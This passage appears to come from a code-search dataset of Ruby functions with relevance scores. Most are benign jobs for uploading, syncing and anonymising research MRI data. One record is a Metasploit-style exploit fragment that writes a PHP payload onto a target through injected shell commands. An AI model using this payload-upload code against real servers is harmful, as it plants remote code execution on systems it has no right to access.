panda_user@merida.dom.wisc.edu \" rm -rf '+v_parent_dir_target+' \"'\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n \n # fsftp dir when set - not practical - not using\n # sftp -- shared helper hasthe username /password and address\n # v_username = Shared.panda_admin_sftp_username # get from shared helper\n # v_passwrd = Shared.panda_admin_sftp_password # get from shared helperwhich is not on github\n # switch on new platform\n #v_username = Shared.panda_user_sftp_username # get from shared helper\n #v_passwrd = Shared.panda_user_sftp_password # get from shared helperwhich is not on github\n # v_ip = Shared.dom_sftp_host_address # get from shared helper\n # v_sftp_dir = Shared.selley_target_path\n\n # problem that files are on merida, but panda running from nelson\n # need to ssh to merida as pand_admin, then sftp\n # v_source = \"panda_user@merida.dom.wisc.edu:\"+v_target_dir+'/'+v_subject_dir+\".tar.gz\"\n\n # v_target = v_sftp_dir+\"/\" #+v_subject_dir+\".tar.gz\"\n\n # puts \"aaaaaa v_source = \"+v_source\n # puts \"bbbbbb v_target = \"+v_target\n # Net::SFTP.start(v_ip, v_username, :password => v_passwrd) do |sftp|\n # sftp.upload!(v_source, v_target)\n # end\n #\n sql_done = \"update cg_selley_pdt_pet_mri set done_flag ='Y' where subjectid = '\"+r[0]+\"'\"\n results_done = connection.execute(sql_done)\n \n end # results\n \n @schedulerun.comment =(\"successful finish selley_20130906_upload \"+v_comment_warning+\" \"+v_comment[0..1990])\n if !v_comment.include?(\"ERROR\")\n @schedulerun.status_flag =\"Y\"\n end\n @schedulerun.save\n @schedulerun.end_time = @schedulerun.updated_at \n @schedulerun.save\n \n end", "title": "" }, { "docid": "bdab25910fdd943b7e4ee424daab5a29", "score": "0.52731633", "text": "def upload_scripts(force = false)\n return unless script_upload_needed?(force)\n logger.info(\"Uploading script #{self.jmeter_plan.test_plan_name}...\")\n Hailstorm::Support::SSH.start(*ssh_start_args) do |ssh|\n remote_sync(ssh, force)\n end\n self.first_use = false\n end", "title": "" }, { "docid": "46a4280a08149ecdee76ee6e672fdac6", "score": "0.5272635", "text": "def start\n setup_files\n create_report\nend", "title": "" }, { "docid": "50e76f90341911f7fba23a1599dae046", "score": "0.5268087", "text": "def start_uploader\n return if @disable_uploader\n\n @uploader_thread = Thread.new do\n Stud.interval(@uploader_interval_secs) do\n @log_rotater.write\n end\n end\n end", "title": "" }, { "docid": "6212e97dbc3ca71162555f9d69aa3dad", "score": "0.52641046", "text": "def ingest!\n work.save!\n access_copy.save!\n production_copy.save!\n\n begin\n preservation_copy.save!\n rescue MissingTarball => e\n nil # Preservation copy is not required.\n end\n\n work.save!\n\n fix_blank_title! work.access_copy # Access ffprobe does not contain title\n\n delete_extracted_files!\n end", "title": "" }, { "docid": "42411b6afdd156c86f747c9827baf9b8", "score": "0.5248276", "text": "def run_on_changes(paths)\n paths.each do |path|\n local_file = File.join(pwd, path)\n remote_file = File.join(remote, path)\n \n attempts = 0\n begin\n log \"Upload #{local_file} => #{remote_file}\"\n sftp_session.upload!(local_file, remote_file)\n rescue Net::SFTP::StatusException => ex\n log \"Exception on upload #{path} - directory likely doesn't exist\"\n\n attempts += 1\n remote_dir = File.dirname(remote_file)\n recursively_create_dirs( remote_dir ) \n\n retry if (attempts < 3)\n log \"Exceeded 3 attempts to upload #{path}\"\n notify(\"Did NOT upload #{path}\", :failed)\n end\n end\n end", "title": "" }, { "docid": "7ee84c2a8ea3f5f5a9db95b8b85411db", "score": "0.5245525", "text": "def start_listening(*args)\n \n @listen_dir = args.size == 1 ? args[0] : @@ftp_landing_path\n \n @file_listener = fork do\n \n Signal.trap(\"HUP\") do \n LOGGER.debug \"Received HUP signal ... terminating\"\n exit\n end\n \n #RAILS_DEFAULT_LOGGER.debug \"Listening to #{@listen_dir}\"\n FSSM.monitor(@listen_dir, '**/*', :directories => false) do\n create do |basedir, filename, type|\n # log the fact that we've detected a new file\n LOGGER.debug \"Detected new #{type == :directory ? 'directory' : 'file'} #{filename} in #{basedir}\"\n # kick off the processing of the file\n ifp = fork do \n IncomingFileProcessor.new.process_file File.join(basedir, filename)\n end\n Process.detach(ifp)\n end\n end\n \n end # end fork\n \n Process.detach(@file_listener)\n \n end", "title": "" }, { "docid": "dd760be8147cc669b8aa14bd8f8572fd", "score": "0.52395827", "text": "def upload\r\n # Random PHP function for command execution\r\n php_function = [\r\n 'exec',\r\n 'shell_exec',\r\n 'passthru',\r\n 'system'\r\n ].sample\r\n\r\n # upload payload\r\n code = \"<?php #{payload.encoded} ?>\"\r\n print_status(\"#{peer} - Sending payload '#{@fname}' (#{code.length} bytes)\")\r\n begin\r\n res = execute_command(\"echo \\\"#{code}\\\">#{@fname}\", { :php_function => php_function } )\r\n if res and res.code == 200\r\n print_good(\"#{peer} - Payload sent successfully\")\r\n register_files_for_cleanup(@fname)\r\n else\r\n fail_with(Failure::UnexpectedReply, \"#{peer} - Sending payload failed\")\r\n end\r\n rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE\r\n fail_with(Failure::Unreachable, \"#{peer} - Connection failed\")\r\n end\r\n end", "title": "" }, { "docid": "084fe5d2d0687358e9b28ce39cff0ad7", "score": "0.52366376", "text": "def run_goveas_20131031_upload\n v_base_path = Shared.get_base_path()\n v_log_base =\"/mounts/data/preprocessed/logs/\"\n v_process_name = \"goveas_20131031_upload\"\n process_logs_delete_old( v_process_name, v_log_base)\n @schedule = Schedule.where(\"name in ('goveas_20131031_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting goveas_20131031_upload\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n v_comment = \"\"\n v_comment_warning =\"\"\n t = Time.now\n v_date_YM = t.strftime(\"%Y%m\") # just making monthly logs, prepend\n v_log_name =v_process_name+\"_\"+v_date_YM\n v_log_path =v_log_base+v_log_name\n v_stop_file_name = v_process_name+\"_stop\"\n v_stop_file_path = v_log_base+v_stop_file_name\n connection = ActiveRecord::Base.connection();\n \n v_target_dir = \"/home/panda_user/upload_goveas_20131031\"\n v_final_target = \"ftp directory tbd\"\n v_series_description_category_array = ['T1_Volumetric','resting_fMRI', 'T2','T2_Flair']\n v_series_description_category_id_array = [19, 17]\n sql = \"select distinct subjectid, enrollment_id, scan_procedure_id, export_id from cg_goveas_20131031\n where ( done_flag != 'Y' or done_flag is NULL)\n and ( status_flag = 'Y' or status_flag is NULL) \n and export_id is not null\" # and subjectid in ('mrt00097', 'pdt00034','pdt00035')\" # sending ppt with incomplete sets\n results = connection.execute(sql)\n \n # get each subject , make target dir with export id\n # get each series decription / file name / nii file based on series_description_category\n # mkdir with series_description_category, # of scan - e.g. 3rd T1\n # copy over the .nii file, replace subjectid with export_id\n # bzip2 each subjectid dir\n results.each do |r|\n v_break = 0 # need a kill swith\n v_log = \"\"\n if File.file?(v_stop_file_path)\n File.delete(v_stop_file_path)\n v_break = 1\n v_log = v_log + \" STOPPING the results loop\"\n v_comment = \" STOPPING the results loop \"+v_comment\n end\n break if v_break > 0\n \n v_comment = \"strt \"+r[0]+\",\"+v_comment\n @schedulerun.comment =v_comment_warning +\"; \"+v_comment[0..1990]\n @schedulerun.save\n # update schedulerun comment - prepend \n sql_vgroup = \"select DATE_FORMAT(max(v.vgroup_date),'%Y%m%d' ) from vgroups v where v.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+r[0]+\"')\n and v.id in ( select scvg.vgroup_id from scan_procedures_vgroups scvg where scvg.scan_procedure_id in (37,26,24) and scvg.scan_procedure_id in (\"+r[2].to_s+\")) \"\n results_vgroup = connection.execute(sql_vgroup)\n # mkdir /tmp/adrc_upload/[subjectid]_YYYYMMDD_wisc\n v_export_id = (@schedule.id).to_s+\"_\"+r[3].to_s\n v_subject_dir = v_export_id+\"_\"+(results_vgroup.first)[0].to_s+\"_wisc\"\n v_parent_dir_target =v_target_dir+\"/\"+v_subject_dir\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_subjectid = r[0].gsub(\"_v2\",\"\").gsub(\"_v3\",\"\").gsub(\"_v4\",\"\").gsub(\"_v5\",\"\")\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and image_datasets.series_description = series_description_maps.series_description\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('T1 Volumetic','T1 Volumetric','T1+Volumetric','T1_Volumetric','T1','resting_fMRI','resting fMRI','resting+fMRI','T2','T2_Flair','T2+Flair') \n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = \"+r[1].to_s+\" and evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n v_folder_array = [] # how to empty\n v_scan_desc_type_array = []\n v_cnt = 1\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n # for dual enrollments need ids path to get to unknown path/nii\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_actual_scan_procedure = v_dir_array[4]\n v_subjectid_date_actual =v_subjectid\n if v_dir_array[5] == \"mri\"\n v_subjectid_date_actual = v_dir_array[6]\n else\n v_subjectid_date_actual = v_dir_array[5] \n end\n v_subject_date_actual_array = v_subjectid_date_actual.split(\"_\")\n v_subjectid_actual = v_subject_date_actual_array[0]\n\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n v_folder_array.push(v_dir_target) \n \n v_call = \"ssh panda_user@merida.dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"/\"+v_dir_target+\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_preprocessed_path = v_base_path+\"/preprocessed/visits/\"\n v_scan_procedure_path = v_actual_scan_procedure # ScanProcedure.find(r[2]).codename\n # check if nii file exists\n if !Dir.glob(v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii\").empty?\n puts \"FOUND \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii \"\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'rsync -av \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_\"+r_dataset[3].gsub(\" \",\"_\")+\"_\"+v_dir+\".nii '\"\n\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n # check if copied nii file is a directory -- found 2 exapmles\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'ls -dl \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_\"+r_dataset[3].gsub(\" \",\"_\")+\"_\"+v_dir+\".nii '\"\n puts v_call\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n v_return = stdout.read 1024 \n v_return_array = v_return.split(' ')\n if v_return_array[1] == \"2\"\n puts \" its a DIRECTORY!!!!!\"\n @schedulerun.comment = \"IT IS A DIRECTORY \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii; \"+@schedulerun.comment\n @schedulerun.save\n v_comment_warning = \"IT IS A DIRECTORY \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii;\" +v_comment_warning\n end\n\n end\n stdin.close\n stdout.close\n stderr.close\n\n\n else\n # nii not exists\n @schedulerun.comment = \"MISSING \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii; \"+@schedulerun.comment\n @schedulerun.save\n puts \"MISSIING \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii\"\n v_comment_warning = \"MISSIING \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii\" +v_comment_warning\n end \n \n end\n\n # get dti raw dicom for this subjectid/sp\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and image_datasets.series_description = series_description_maps.series_description\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('DTI') \n and image_datasets.series_description != 'DTI whole brain 2mm FATSAT ASSET'\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n v_cnt = 1\n v_dir_target = \"\"\n v_scan_desc_type_array = []\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n puts \"aaaaaa v_dir_target = \"+v_dir_target\n v_folder_array.push(v_dir_target)\n\n # v_call = \"/usr/bin/bunzip2 \"+v_parent_dir_target+\"/\"+v_dir_target+\"/*.bz2\"\n v_tmp = \"/tmp/\"+v_dir_target \n v_call = \"mise \"+v_path+\" \"+v_parent_dir_target+\"/\"+v_dir_target # works where bunzip2 cmd after rsync not work\n v_call = \"mise \"+v_path+\" \"+v_tmp \n #puts \"v_path = \"+v_path\n #puts \"v_parent_dir_target = \"+ v_parent_dir_target\n #puts \"v_dir_target=\"+v_dir_target\n puts \"AAAAAA \"+v_call\n stdin, stdout, stderr = Open3.popen3(v_call)\n stderr.each {|line|\n puts line\n }\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # temp - replace /Volumes/team/ and /Data/vtrak1/ with /Volumes/team-1 in dev\n # split on / --- get the last dir\n # make new dir name dir_series_description_type \n # check if in v_folder_array , if in v_folder_array , dir_series_description_type => dir_series_description_type_2\n # add dir, dir_series_description_type to v_folder_array\n # cp path ==> /tmp/adrc_dti/[subjectid]_yyymmdd_wisc/dir_series_description_type(_2)\n end\n\n\n if v_scan_desc_type_array.size > 0 \nputs \"dddddd in ids dicoms\"\nputs \" /tmp dir = \"+\"/tmp/\"+v_dir_target+\"/*/*.* 0. 1. 2. *.dcm\" \n # TURN INTO A LOOP \n v_dicom_field_array =['0010,0030','0010,0010','0008,0050','0008,1030','0010,0020','0040,0254','0008,0080','0008,1010','0009,1002','0009,1030','0018,1000',\n '0025,101A','0040,0242','0040,0243']\n v_dicom_field_value_hash ={'0010,0030'=>'DOB','0010,0010'=>'Name','0008,0050'=>'Accession Number',\n '0008,1030'=>'Study Description', '0010,0020'=>'Patient ID','0040,0254'=>'Performed Proc Step Desc',\n '0008,0080'=>'Institution Name','0008,1010'=>'Station Name','0009,1002'=>'Private',\n '0009,1030'=>'Private','0018,1000'=>'Device Serial Number','0025,101A'=>'Private',\n '0040,0242'=>'Performed Station Name','0040,0243'=>'Performed Location'}\n\n\n # v_dicom_field_array =['0010,0030']\n # v_dicom_field_value_hash ={'0010,0030'=>'DOB'}\n #### v_dicom_field_array.each do |dicom_key|\n Dir.glob('/tmp/'+v_dir_target+'/*/*.dcm').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n\n \n Dir.glob('/tmp/'+v_dir_target+'/*/*.0*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n\n Dir.glob('/tmp/'+v_dir_target+'/*/*.1*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm)\n end \n end } \n Dir.glob('/tmp/'+v_dir_target+'/*/*.2*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end } \n Dir.glob('/tmp/'+v_dir_target+'/*/*.3*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end } \n\n v_call = \"rsync -av /tmp/\"+v_dir_target+\" panda_user@merida.dom.wisc.edu:\"+v_parent_dir_target \n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n v_call = \"rm -rf /tmp/\"+v_dir_target\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n\n end \n\n # \n # # #puts \"bbbbb dicom clean \"+v_parent_dir_target+\"/*/\"\n # Dir.glob(v_parent_dir_target+'/*/*/*.dcm').each {|dcm| puts d = DICOM::DObject.read(dcm); if !d[\"0010,0030\"].nil? \n # d[\"0010,0030\"].value = \"DOB\"; d.write(dcm) \n # end } \n\n # get dti from nagesh - FA, MD, L1, L2, L3 cg_dti_status -- only some processed - and registerred to a common space \n\n # get pib and rename\n # dvd in subject space , use rFS_r<enum>_realignPIB_DVR_HYPR.nii if exists, else use r<enum>_realignPIB_DVR_HYPR.nii\n # exceptions- pdt00038, pdt00129,pdt00137,pdt00161 - readme describes slices used\n\n # cg_dti_status only has visit1 -- now \n sql_dti = \"select distinct appointments.appointment_date, visits.id visit_id \n from vgroups , appointments, visits \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id \n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e, cg_dti_status where evm.enrollment_id = \"+r[1].to_s+\" and evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"' \n and cg_dti_status.enrollment_id = e.id and dti_fa_flag = 'Y')\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" ) \n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dti)\n v_dir_target = \"dti\"\n v_dti_array =[]\n results_dataset.each do |r_dataset|\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"/\"+v_dir_target+\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_preprocessed_path = v_base_path+\"/preprocessed/modalities/dti/adluru_pipeline/\"\n v_dir_array = ['FA','MD','L1','L2','L3']\n v_file_name_hash ={'FA'=>'_combined_fa.nii','MD'=>'_combined_md.nii','L1'=>'_combined_L1.nii','L2'=>'_combined_L2.nii','L3'=>'_combined_L3.nii'}\n v_dir_array.each do |dir_name|\n v_dti_array.push('dti-'+dir_name)\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'rsync -av \"+v_preprocessed_path+dir_name+\"/\"+ v_subjectid+v_file_name_hash[dir_name]+\" \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+v_file_name_hash[dir_name]+\" '\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # some nii.gz\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'rsync -av \"+v_preprocessed_path+dir_name+\"/\"+ v_subjectid+v_file_name_hash[dir_name]+\".gz \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+v_file_name_hash[dir_name]+\".gz '\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n end\n end\n \n sql_dir_list = \"update cg_goveas_20131031 set dir_list ='\"+v_folder_array.join(',')+\",\"+v_dti_array.join(',')+\"' where subjectid = '\"+r[0]+\"'\"\n results_done = connection.execute(sql_dir_list)\n\n #tar.gz subjectid dir\n v_call = \"cd \"+v_target_dir+\"; /bin/tar -zcf \"+v_subject_dir+\".tar.gz \"+v_subject_dir+\"/\"\n v_call = 'ssh panda_user@merida.dom.wisc.edu \" tar -C '+v_target_dir+' -zcf '+v_parent_dir_target+'.tar.gz '+v_subject_dir+'/ \" '\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # remove subjectid dir\n v_call = 'ssh panda_user@merida.dom.wisc.edu \" rm -rf '+v_parent_dir_target+' \"'\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n \n # fsftp dir when set\n # sftp -- shared helper hasthe username /password and address\n # v_username = Shared.panda_admin_sftp_username # get from shared helper\n # v_passwrd = Shared.panda_admin_sftp_password # get from shared helperwhich is not on github\n # switch on new platform\n #v_username = Shared.panda_user_sftp_username # get from shared helper\n #v_passwrd = Shared.panda_user_sftp_password # get from shared helperwhich is not on github\n # v_ip = Shared.dom_sftp_host_address # get from shared helper\n # v_sftp_dir = Shared.goveas_target_path\n\n # problem that files are on merida, but panda running from nelson\n # need to ssh to merida as pand_admin, then sftp\n # v_source = \"panda_admin@merida.dom.wisc.edu:\"+v_target_dir+'/'+v_subject_dir+\".tar.gz\"\n\n # v_target = v_sftp_dir+\"/\" #+v_subject_dir+\".tar.gz\"\n\n # puts \"aaaaaa v_source = \"+v_source\n # puts \"bbbbbb v_target = \"+v_target\n # Net::SFTP.start(v_ip, v_username, :password => v_passwrd) do |sftp|\n # sftp.upload!(v_source, v_target)\n # end\n #\n sql_done = \"update cg_goveas_20131031 set done_flag ='Y' where subjectid = '\"+r[0]+\"'\"\n results_done = connection.execute(sql_done)\n \n end # results\n \n @schedulerun.comment =(\"successful finish goveas_20131031_upload \"+v_comment_warning+\" \"+v_comment[0..1990])\n if !v_comment.include?(\"ERROR\")\n @schedulerun.status_flag =\"Y\"\n end\n @schedulerun.save\n @schedulerun.end_time = @schedulerun.updated_at \n @schedulerun.save\n \n \n \n end", "title": "" }, { "docid": "005dd9b5df6e164af8f8d9b79d3ccbea", "score": "0.5213812", "text": "def execute\n log_job_execution_step\n\n # Download the file from the SFTP\n sftp_file\n\n # Make an export folder if it doesn't already exist\n FileUtils.mkdir_p task_config[\"import_folder\"]\n\n # Remove previous file if exists\n FileUtils.remove_file(import_file_path, :force => true)\n\n # Move the date stamped file to a shared docker drive\n # for further processing\n log \"Copying #{export_file_path} to #{import_file_path}\"\n FileUtils.copy(export_file_path, import_file_path)\n\n # Mark the Step as successful\n log_job_execution_step.set_status!(\"successful\")\n return true\n\n rescue => ex\n # In case of an error, mark the job as unsuccessful\n log \"Error => [#{ex.message}]\"\n log_job_execution_step.set_status!(\"failed\")\n return false\n end", "title": "" }, { "docid": "502c2abd35e36ec9319950225f6de570", "score": "0.5209445", "text": "def perform\n Rails.logger.info \"<< Scanning for new batch packages in existing collections >>\"\n Admin::Collection.all.each do |collection|\n Avalon::Batch::Ingest.new(collection).scan_for_packages\n end\n end", "title": "" }, { "docid": "502c2abd35e36ec9319950225f6de570", "score": "0.5209445", "text": "def perform\n Rails.logger.info \"<< Scanning for new batch packages in existing collections >>\"\n Admin::Collection.all.each do |collection|\n Avalon::Batch::Ingest.new(collection).scan_for_packages\n end\n end", "title": "" }, { "docid": "20d75ffd2b858cd6b71f4d5bd7e0538c", "score": "0.5201757", "text": "def upload\n begin\n apicaller =ApiCaller.new(@hostOutput,\"\",@user,@pass)\n restPath = @pathOutput\n \n ##uplaoding fasta tarred files\n path = restPath +\"/file/MicrobiomeData/#{CGI.escape(@sampleSetNameOriginal)}/fasta.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/fasta.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded fasta.result.tar.gz\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##uplaoding stats tarred files \n path = restPath +\"/file/MicrobiomeData/#{CGI.escape(@sampleSetNameOriginal)}/stats.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/stats.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded stats.result.tar.gz\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##Uploading filtered fasta files \n path = restPath +\"/file/MicrobiomeData/#{CGI.escape(@sampleSetNameOriginal)}/filtered_fasta.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/filtered_fasta.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded filtered_fasta.result.tar.gz\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##Uploading fastq files \n path = restPath +\"/file/MicrobiomeData/#{CGI.escape(@sampleSetNameOriginal)}/fastq.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/fastq.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded fastq.result.tar.gz\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end \n \n #uploading metadata file back\n path = restPath + \"/file/MicrobiomeData/#{CGI.escape(@sampleSetNameOriginal)}/sample.metadata/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/#{@sampleSetName}.metadata\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded metadata file \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##uploading json setting file\n path = restPath + \"/file/MicrobiomeData/#{CGI.escape(@sampleSetNameOriginal)}/settings.json/data\"\n apicaller.setRsrcPath(path)\n infile = 